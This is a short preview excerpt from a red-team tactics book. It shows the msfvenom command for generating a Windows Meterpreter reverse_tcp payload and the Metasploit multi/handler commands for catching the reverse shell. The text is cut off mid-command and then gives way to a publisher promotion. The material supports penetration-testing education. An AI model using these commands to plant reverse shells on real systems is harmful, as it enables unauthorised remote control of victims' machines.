reverse_tcp

A Windows-based reverse_tcp payload can be generated using the following command:

msfvenom -p windows/meterpreter/reverse_tcp lhost=<local IP to get reverse connection on> lport=<local port to listen for reverse shell connection> -f <output file format> -o <payload output file>

Once the payload is generated, we need to start the listener. This can be done by executing the following commands:

use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost <local IP to get reverse connection on> set lport <local port to listen for reverse shell connection> set exitonsession false <This is used so that the handler ...

Get Hands-On Red Team Tactics now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.